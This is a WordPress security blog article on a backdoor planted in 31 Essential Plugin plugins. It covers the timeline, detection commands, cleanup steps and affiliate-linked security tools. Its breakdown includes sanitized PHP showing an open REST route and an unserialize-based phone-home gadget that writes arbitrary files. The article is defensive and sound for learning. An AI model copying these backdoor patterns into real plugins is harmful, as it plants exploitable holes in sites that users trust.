ZeroToWP
newsby Marvin

Essential Plugin Supply-Chain Attack: 31 WordPress Plugins Backdoored for 8 Months

Share this article

If you run WordPress, you need to check your plugin list today. On April 7, 2026, the WordPress.org Plugins Team permanently closed all 31 plugins from the Essential Plugin portfolio after a dormant backdoor that had been quietly sitting in the codebase for eight months was switched on. By the time WordPress.org pulled the plugins, the attacker had already pushed malicious payloads to affected sites during a 6-hour and 44-minute window on April 6, 2026, between 04:22 and 11:06 UTC.

Last updated April 18, 2026. This article is based on published analysis from Patchstack, Anchor Hosting, BleepingComputer, TechCrunch and TechRepublic. Where a fact is still unconfirmed I say so.

Essential Plugin WordPress supply-chain backdoor attack: 31 plugins closed by WordPress.org in April 2026

TL;DR: What You Need to Know

  • What happened: All 31 plugins from the Essential Plugin author were found to contain a PHP deserialization backdoor planted in August 2025 and activated April 5-6, 2026.
  • Who is affected: Reports from Patchstack, Anchor Hosting and Rescana estimate roughly 400,000+ plugin installs were exposed during the injection window.
  • What the attacker did: Injected SEO spam and cloaked payloads served only to Googlebot, wrote a wp-comments-posts.php dropper, and modified wp-config.php.
  • What WordPress.org did: Permanently closed all 31 plugins on April 7, 2026, and forced a neutralizing update (version 2.6.9.1) that disabled the phone-home logic.
  • What to do NOW: Check the plugin list below, remove any that appear, restore a clean backup from before April 5, 2026, scan with Patchstack or Wordfence, and rotate every admin password, API key and salt.

The Full List of 31 Affected Essential Plugin Plugins

This is the list of plugins WordPress.org closed on April 7, 2026 based on the enumeration published by Anchor Hosting. Patchstack's own advisory focuses on a 22-plugin subset where they confirmed the active gadget chain, but WordPress.org's closure action covered the full portfolio. If any of these slugs are in your wp-content/plugins/ folder, treat the site as compromised until proven otherwise.

Plugin Name Earliest Affected Version Current Status Action Required
Accordion and Accordion Slider2.6.7Closed by WordPress.orgRemove & scan
Album and Image Gallery Plus Lightbox2.6.7ClosedRemove & scan
Audio Player with Playlist Ultimate2.6.7ClosedRemove & scan
Blog Designer for Post and Widget2.6.7ClosedRemove & scan
Countdown Timer Ultimate2.6.7Closed (forced to 2.6.9.1)Remove & scan
Featured Post Creative2.6.7ClosedRemove & scan
Footer Mega Grid Columns2.6.7ClosedRemove & scan
Hero Banner Ultimate2.6.7ClosedRemove & scan
HTML5 VideoGallery Plus Player2.6.7ClosedRemove & scan
Meta Slider and Carousel with Lightbox2.6.7ClosedRemove & scan
Popup Anything on Click2.6.7ClosedRemove & scan
Portfolio and Projects2.6.7ClosedRemove & scan
Post Category Image with Grid and Slider2.6.7ClosedRemove & scan
Post Grid and Filter Ultimate2.6.7ClosedRemove & scan
Preloader for Website2.6.7ClosedRemove & scan
Product Categories Designs for WooCommerce2.6.7ClosedRemove & scan
Responsive WP FAQ with Category2.6.7ClosedRemove & scan
SlidersPack – All in One Image Sliders2.6.7ClosedRemove & scan
SP News and Widget2.6.7ClosedRemove & scan
Styles for WP PageNavi – Addon2.6.7ClosedRemove & scan
Ticker Ultimate2.6.7ClosedRemove & scan
Timeline and History Slider2.6.7ClosedRemove & scan
Woo Product Slider and Carousel with Category2.6.7ClosedRemove & scan
WP Blog and Widgets2.6.7ClosedRemove & scan
WP Featured Content and Slider2.6.7ClosedRemove & scan
WP Logo Showcase Responsive Slider and Carousel2.6.7ClosedRemove & scan
WP Responsive Recent Post Slider2.6.7ClosedRemove & scan
WP Slick Slider and Image Carousel2.6.7ClosedRemove & scan
WP Team Showcase and Slider2.6.7ClosedRemove & scan
WP Testimonial with Widget2.6.7ClosedRemove & scan
WP Trending Post Slider and Widget2.6.7ClosedRemove & scan

Note: the "2.6.7" baseline is the version in which the 191-line malicious diff first landed (released August 8, 2025). Every version between 2.6.7 and 2.6.9 carried the backdoor. Version 2.6.9.1 is the forced auto-update WordPress.org pushed on April 8, 2026. That update neutralizes the plugin side of the attack but, as Patchstack notes, does not clean the wp-config.php injection or the dropped files. You still need to do manual cleanup.

Screenshot of WordPress.org plugin directory showing closed Essential Plugin plugins in April 2026

How the Attack Unfolded: Timeline

Timeline of the Essential Plugin WordPress supply-chain backdoor attack from Flippa sale to WordPress.org closure
  • Early 2025: A buyer publicly identified only as "Kris" — described by multiple sources as having a background in SEO, cryptocurrency and online gambling marketing — buys the entire Essential Plugin portfolio on Flippa for a reported six-figure sum.
  • August 8, 2025: Version 2.6.7 is released across the portfolio. The changelog only says "Check compatibility with WordPress version 6.8.2." The diff actually contains 191 extra lines of PHP inside the shared analytics module.
  • August 30, 2025: The essentialplugin.com domain WHOIS is updated, per Anchor Hosting's investigation, to a new registrant name.
  • September 2025 – April 2026: The backdoor sits dormant. It collects trust in the form of normal-looking minor updates and positive reviews.
  • April 5, 2026: Initial activation test. The C2 server analytics.essentialplugin.com begins returning serialized payloads instead of empty responses.
  • April 6, 2026, 04:22–11:06 UTC: The main injection window. For 6 hours and 44 minutes, affected sites fetch wp-comments-posts.php and see roughly 6 KB of extra PHP appended to wp-config.php.
  • April 7, 2026: The WordPress.org Plugins Team permanently closes all 31 plugins from the Essential Plugin author.
  • April 8, 2026: WordPress.org pushes a forced auto-update to version 2.6.9.1 across all affected installs. The update comments out the vulnerable function call and returns early from the analytics handler.
  • April 15, 2026: Patchstack publishes its technical write-up covering 22 of the 31 plugins where it has independently confirmed the gadget chain.

How the Backdoor Actually Worked

This is the part security teams keep asking about, because the technique is going to be copied. I have sanitized the snippets below — the real attacker URL, key names and full gadget chain are removed — but the shape is accurate to what Patchstack published.

1. An unauthenticated REST endpoint

The malicious version of the analytics module registered a REST route with __return_true as the permission callback. That means anyone, without login, could hit it:

// Sanitized illustration of the pattern, not the real code
add_action('rest_api_init', 'wpos_rest_api_init');
function wpos_rest_api_init() {
  register_rest_route('wpos/v1', '/analytics', array(
    'methods'  => 'POST',
    'callback' => 'wpos_handle_analytics_request',
    'permission_callback' => '__return_true', // <-- anyone can call
  ));
}

2. A phone-home that ran unserialize on the response

The endpoint and its scheduled tasks called a fetch_ver_info() method. That method pulled a file from analytics.essentialplugin.com and passed the body straight into PHP's unserialize():

// Sanitized illustration
private function fetch_ver_info() {
  $data = @file_get_contents('https://[REMOVED-C2-DOMAIN]/ver.php');
  $info = @unserialize($data); // <-- deserializes attacker-controlled bytes
  if (is_object($info)) {
    $this->version_cache = $info->cache;
    $this->changelog     = $info->log;
    $this->write         = $info->writer;
  }
}

Deserializing untrusted input in PHP is a classic object-injection sink. The attacker chose the class properties being restored ($write, $version_cache, $changelog) specifically so they could build a gadget chain.

3. A gadget that turned a "clean" helper into an arbitrary file writer

Inside the plugin there was a version_info_clean() helper that did, in essence:

// Sanitized illustration
private function version_info_clean() {
  $clean = $this->write; // set from the deserialized response
  @$clean($this->version_cache, $this->changelog);
}

By sending a payload where $write became file_put_contents and $version_cache became a path like wp-config.php or wp-comments-posts.php, the attacker could overwrite or create any file the PHP process could touch.

4. The payload itself: SEO cloaking, not ransomware

Once the attacker could write files, the payload dropped into wp-config.php was roughly 6 KB of PHP that conditionally served the page based on the user-agent. For normal visitors the site looked perfectly fine. For Googlebot it served spam links, fake pages and redirects — classic SEO cloaking aimed at monetizing the site's search authority, not at defacement. That is the single biggest reason the attack stayed hidden for 6+ hours: nobody who actually used their site noticed anything was wrong.

The wp-comments-posts.php dropper in the web root acted as the persistence mechanism — a small loader that could re-pull payloads even if the plugin itself was later disabled.

At the time of writing, no CVE number has been publicly assigned for the overall Essential Plugin supply-chain incident. Patchstack's advisory covers the deserialization sink as a class of bug, but a specific CVE for the backdoor itself has not yet been confirmed. I will update this article when one is issued.

How to Check If You Were Affected

Work through this checklist. If any step returns a hit, assume the site is compromised and jump to the remediation section below.

Step 1: Check your plugin list

In WP Admin → Plugins, look for any of the 31 plugin names above. You can also check at the filesystem level:

ls -la wp-content/plugins/ | grep -iE 'countdown-timer-ultimate|wp-testimonial|wp-team-showcase|popup-anything|wp-faq|sp-news|wp-slick|timeline-history'

If a directory exists there but the plugin is missing from WP Admin, that is also suspicious — it may have been manually deactivated during the incident but the files are still present.

Step 2: Check for the dropper file

Patchstack and Anchor Hosting both flag wp-comments-posts.php in the WordPress root directory as a known IOC. The real WordPress core file is wp-comments-post.php (no trailing "s"). If you see a file with an "s" that you did not create, that is the dropper:

ls -la wp-comments-post*.php

Step 3: Diff your wp-config.php against a clean backup

The injection added roughly 6 KB of PHP to wp-config.php. Open the file and look for any code above the standard /* That's all, stop editing! */ marker that you do not recognize. Anonymous functions, base64-encoded strings, or eval() calls are obvious red flags. If you have a backup from before April 5, 2026, diff the two files.

Step 4: Check your server logs for the C2 domain

Outbound requests to analytics.essentialplugin.com are the clearest IOC. On most shared hosts you will not have full outbound logs, but you can grep what you do have:

grep -R "analytics.essentialplugin.com" /var/log/ 2>/dev/null
grep -R "analytics.essentialplugin" wp-content/ 2>/dev/null

Step 5: Audit admin users created after April 5, 2026

Go to WP Admin → Users, sort by registration date, and review anything new. If you cannot see registration date, run this in WP-CLI:

wp user list --role=administrator --fields=ID,user_login,user_email,user_registered

No public reporting has confirmed that the Essential Plugin backdoor itself spawned rogue admin accounts, but once an attacker has arbitrary file write on wp-config.php, nothing stops them from adding one manually on follow-up. Treat any unexpected administrator as hostile.

Remediation: What to Do If You Were Affected

Forcing the 2.6.9.1 update is not enough. The Patchstack advisory is explicit: the forced update disables the phone-home, but it does not remove the injected code from wp-config.php or delete the dropper. Here is the clean-up sequence in the order I would run it on a client site.

  1. Put the site into maintenance mode before you do anything else. You do not want Googlebot cached cloaking to keep serving spam while you clean up.
  2. Take a forensic copy — a full files + database snapshot — before you change anything. You may need this later.
  3. Delete the affected plugins via SFTP or WP-CLI. Do not just deactivate. Remove the plugin directory entirely.
  4. Delete the wp-comments-posts.php dropper from the WordPress root if present.
  5. Restore wp-config.php from a backup predating April 5, 2026, or manually remove any code you do not recognize. Generate new authentication salts via the official WordPress salt generator and replace the old ones.
  6. Ideally, restore the whole site from a clean backup taken before April 5, 2026. This is the safest path for anyone who is not comfortable doing a manual file audit.
  7. Scan with a reputable security pluginPatchstack, Wordfence, MalCare or Sucuri. Look for any remaining PHP files modified between April 5 and April 8, 2026.
  8. Reset every administrator password, and force password resets on any subscriber or customer account that may have interacted with the site during the window.
  9. Rotate API keys, tokens and third-party credentials stored in wp-config.php or anywhere else in the site — Stripe, Mailchimp, OpenAI, database credentials if rotatable, and anything else in your config.
  10. Submit a reconsideration request in Google Search Console if you see "Hacked: Pharma" or "Hacked: Spam" warnings. The cloaking payload was specifically designed to poison your search results, so you may have lingering spam URLs in the index.

How to Prevent This in the Future

Affiliate note: the security tools below are ones I actively recommend to ZeroToWordPress readers. Some of the links are affiliate links, which do not change the price you pay but help fund future testing on this site. Every link in this section uses rel="nofollow noopener noreferrer".

Run a real-time vulnerability database

Patchstack is the one I keep coming back to for supply-chain incidents. Their team was among the first to publish a technical breakdown of the Essential Plugin compromise and their vDB (vulnerability database) pushes alerts within hours of disclosure. If you manage more than one WordPress site, this is close to mandatory.

Run a firewall and malware scanner

Wordfence remains the default choice for most self-managed WordPress owners. The free version already catches known malware signatures; the premium version gets real-time firewall rules faster. See my WordPress security plugins comparison for a head-to-head.

Outsource scanning and cleanup if you do not want to DIY

MalCare runs scans off-site so the malware itself cannot interfere with detection, and cleanup is automated. Sucuri is the other option I trust here — their platform includes a proper WAF and they are the team most agencies call when a site is actively hacked.

Check plugin provenance before you install anything

The single clearest lesson from this incident is that plugin ownership changes are a security event. Before installing a plugin, check:

  • Who is the listed author in the WordPress.org directory, and has that name changed recently?
  • Is the same author behind 20+ unrelated plugins? That is a sign of a portfolio buy.
  • Does the recent changelog make sense, or does it just say "compatibility checks" with no detail?
  • Has a domain in the plugin source code (analytics, licensing) recently changed WHOIS registrant?

Stagger plugin updates

Auto-updating plugins is good advice in general, but for non-critical plugins a 48-hour delay is a cheap way to let security researchers catch obvious supply-chain compromises before they reach your site. For the security-critical stuff (core, WooCommerce, your security plugin itself) keep auto-updates on.

Harden the basics

None of the advanced tooling replaces the fundamentals. If you have not already locked down these, do it now:

What This Means for the WordPress Ecosystem

The Essential Plugin incident is the largest documented WordPress supply-chain compromise since the Freemius telemetry scare of 2018, and it is almost certainly going to repeat. Flippa has no meaningful obligation to verify buyers of WordPress plugin businesses, and the WordPress.org directory has no formal process to flag ownership changes to end users. An attacker with a six-figure budget can now legitimately buy a portfolio of plugins with a combined install base in the hundreds of thousands, wait out a plausible "cooldown" period with quiet compatibility updates, then activate at will.

The practical response has to come from three places. WordPress.org should surface plugin ownership changes directly in the admin update UI, not bury them in a changelog. Security plugins need to treat "plugin author changed in the last 12 months" as a risk signal, the same way browsers treat brand-new TLS certificates as less trusted. And site owners — that is you — need to get comfortable with the fact that a plugin sitting quietly in your install today might be owned by someone different in six months. Hacked sites also tend to lose search rankings fast, which is why this is as much an SEO problem as it is a security one.

Frequently Asked Questions

Which Essential Plugin plugins were affected by the backdoor?

All 31 plugins from the Essential Plugin author were permanently closed by WordPress.org on April 7, 2026. The full list is in the table above. Patchstack has independently confirmed the gadget chain in 22 of those 31 so far, but WordPress.org closed the full portfolio because they all shared the same compromised analytics module.

How do I know if my site was actually hacked?

Run the five-step diagnostic above. The two most reliable signals are (a) a wp-comments-posts.php file in your WordPress root that you did not create, and (b) unexplained PHP code in wp-config.php. If either is present, assume compromise. If neither is present and the plugin was updated to 2.6.9.1 before April 5-6, 2026 (very few sites were), you may have escaped, but a full scan is still cheap insurance.

Can I reinstall these plugins later?

Not from the WordPress.org directory — the closures are permanent. Some of the original pre-sale plugin authors are reportedly working on forking their own abandoned code back under a new author, but there is nothing official yet. If you need the functionality, find a maintained alternative now rather than waiting. I will update this article if any clean forks become available.

Who is "Kris" and has anyone been arrested?

Public reporting only identifies the buyer as "Kris" with a background in SEO, cryptocurrency and online gambling marketing. No arrest has been publicly reported at the time of writing. The essentialplugin.com WHOIS was reportedly updated in August 2025 to a new registrant, but I am not going to repeat the specific name — it has not been independently verified and could easily be a front.

What is WordPress.org doing to prevent this happening again?

As of April 18, 2026, WordPress.org has not announced a formal policy change. Based on community discussion on the Make WordPress blog, expected measures include mandatory disclosure of author changes in the plugin directory and stricter review of large portfolio transfers. Until those ship, the burden stays on site owners.

Did the forced auto-update to 2.6.9.1 fully fix the problem?

No. The 2.6.9.1 update neutralizes the phone-home logic inside the plugin, but it does not remove the code the attacker already injected into wp-config.php or the wp-comments-posts.php dropper. Those have to be cleaned up manually. This is the single biggest thing site owners are getting wrong this week.

Why did the attacker wait 8 months to activate?

Two reasons, based on the published analysis. First, a newly-pushed change with an obvious backdoor would almost certainly be spotted by Patchstack's automated diff analysis. Waiting 8 months through several routine-looking releases lets the code age into the "trusted" pile. Second, the attacker needed affected sites to auto-update to 2.6.7+ before activation was useful — a rapid activation would have hit a much smaller install base.

Should I remove every plugin I have as a precaution?

No, that is an overreaction. Only the 31 plugins listed above are confirmed compromised. What you should do is audit your plugin list for anything you do not actively use, and remove those. Every installed-but-inactive plugin is still a file on disk that could be attacked. Fewer plugins is always safer than more.

Primary Sources

Marvin

Written by Marvin

Our team tests and reviews WordPress products to help beginners make confident choices.

Learn more about our team →

You might also like

Leave A Reply

Thanks for choosing to leave a comment. All comments are moderated, and your email address will NOT be published. Please do NOT use keywords in the name field.